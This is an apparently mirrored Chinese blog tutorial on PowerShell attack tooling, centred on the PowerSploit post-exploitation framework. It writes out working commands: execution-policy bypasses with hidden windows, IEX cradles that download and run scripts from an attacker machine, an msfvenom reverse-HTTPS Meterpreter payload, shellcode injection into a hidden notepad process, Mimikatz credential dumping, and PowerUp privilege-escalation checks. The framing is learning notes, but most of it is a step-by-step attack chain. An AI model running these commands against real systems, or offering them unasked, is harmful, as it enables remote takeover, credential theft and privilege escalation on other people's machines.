zoukankan      html  css  js  c++  java
  • 11.PowerSploit攻击指南

    本人小白,写这篇文章主要记录一下自己的PowerShell学习之路,大牛请绕道:https://www.anquanke.com/subject/id/90541

    首先PowerShell的攻击工具有以下几种:

    • PowerShell:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。
    • Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
    • Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
    • PowerCat:PowerShell版的NetCat,有着网络工具中的"瑞士军刀"美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它

    各个操作系统对应的PowerShell版本可以使用Get-Host或者$PSVersionTable.PSVERSION命令查看:

    如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本,比如下面这三种:

    • 绕过本地权限执上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示:
    PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
    •  本地隐藏绕过权限执行脚本
    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
    •  用IEX下载远程ps1脚本绕过权限执行
    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

    参数说明:

    • ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过这个参数,可以绕过一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
    • WindowStyle Hidden:隐藏窗口。
    • NoLogo:启动不显示版权标志的PowerShell。
    • Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
    • NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
    • Noexit执行后不退出Shell。这在使用键盘记录等脚本时非常重要。

    PowerShell脚本在默认情况下无法直接执行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。

    PowerSploit

    PowerShell是一款基于PowerShell的后渗透(Post-Exploitation)框架软件,其github地址为:https://github.com/PowerShellMafia/PowerSploit

    这里通过kali下载安装,移动到/var/www/html 目录,开启apache服务,搭建一个建议的服务器:

     

     

    介绍各模块的功能:

    • AntivirusBypass:发现杀毒软件的查杀特征。
    • CodeExecution:在目标主机上执行代码。
    • Exfiltration:目标主机上的信息搜集工具。
    • Mayhem:蓝屏等破坏性脚本。
    • Persistence:后面脚本(持久性控制)。
    • Recon:以目标主机为跳板进行内网信息侦察。
    • ScriptModification:在目标主机上创建或修改脚本。

    PowerShell 脚本攻击演示:

    CodeExecution模块下的Invoke-Shellcode脚本常用于将ShellCode插入指定的进程ID或本地PowerShell中,下面介绍两种常用的反弹Meterpreter Shell方法:

    1.直接执行ShellCode反弹Meterpreter Shell

    首先在MSF里使用reverse_https模块进行监听:

    使用msfvenom命令生成一个PowerShell脚本木马:

    msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.133 lport=4444 -f powershell -o /var/www/html/test 

    接下来生成PowerShell脚本木马

    在目标机器PowerShell下输入以下命令来下载该脚本:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")

    接着下载木马:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/test")

    接着在PowerShell下运行以下命令:

    Invoke-Shellcode -Shellcode($buf) -Force

     现在返回MSF监听页面发现shell已经反弹成功

    2.制定进程注入 ShellCode 反弹 Meterpreter Shell

    同样在目标机器上下载需要使用的模块跟木马:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/test")

    接着输入Get-Process命令或者ps查看当前进程:

    然后输入以下命令创建一个新的进程,这里启动一个记事本,并把它设置为隐藏的,再输入Get-Process命令查看进程,可以看到多了一个进程,ID为3520,名为notepad的进程:

    Start-Process c:windowssystem32
    otepad.exe -WindowStyle Hidden

    接着输入以下命令,使用Invoke-Shellcode脚本进行进程注入:

    Invoke-Shellcode -ProcessID 3520 -Shellcode($buf) -Force

     现在返回MSF监听页面发现shell已经反弹成功.

    Invoke-Portscan

    Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,还是先下载脚本:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Recon/Invoke-Portscan.ps1")

    然后使用以下命令进行端口扫描:

    Invoke-Portscan -Hosts 192.168.0.133 -ports "80,22,3389"

    Invoke-Mimikatz

    Mimikatz用来抓HASH,先来下载所用脚本:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")

    然后执行以下命令来抓取hash,不过首先必须是管理员权限,意思就是要先提权:

    Invoke-Mimikatz -DumpCreds

    .......

    PowerUp

    主要来介绍PowerUp模块,powerUp拥有众多用来寻找目标主机的Windows服务漏洞进行提权的实用脚本,先下载脚本:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Privesc/PowerUp.ps1")

    1.Invoke-AllChecks

    该模块会自动执行PowerUp下所有模块来检查目的主机:

    2.Find-PathDLLHijack

    该模块用于检查当前%PATH%的哪些目录是用户可以写入的:

    3.Get-ServiceDetail

    该模块用于返回某服务的信息:

    ......

    参考连接:

    http://www.52bug.cn/4585.html

    https://www.0xss.cn/100.html

    https://www.freebuf.com/sectool/131275.html

    http://www.vuln.cn/6436

  • 相关阅读:
    BZOJ2219数论之神——BSGS+中国剩余定理+原根与指标+欧拉定理+exgcd
    Luogu 3690 Link Cut Tree
    CF1009F Dominant Indices
    CF600E Lomsat gelral
    bzoj 4303 数列
    CF1114F Please, another Queries on Array?
    CF1114B Yet Another Array Partitioning Task
    bzoj 1858 序列操作
    bzoj 4852 炸弹攻击
    bzoj 3564 信号增幅仪
  • 原文地址:https://www.cnblogs.com/bmjoker/p/10164995.html
Copyright © 2011-2022 走看看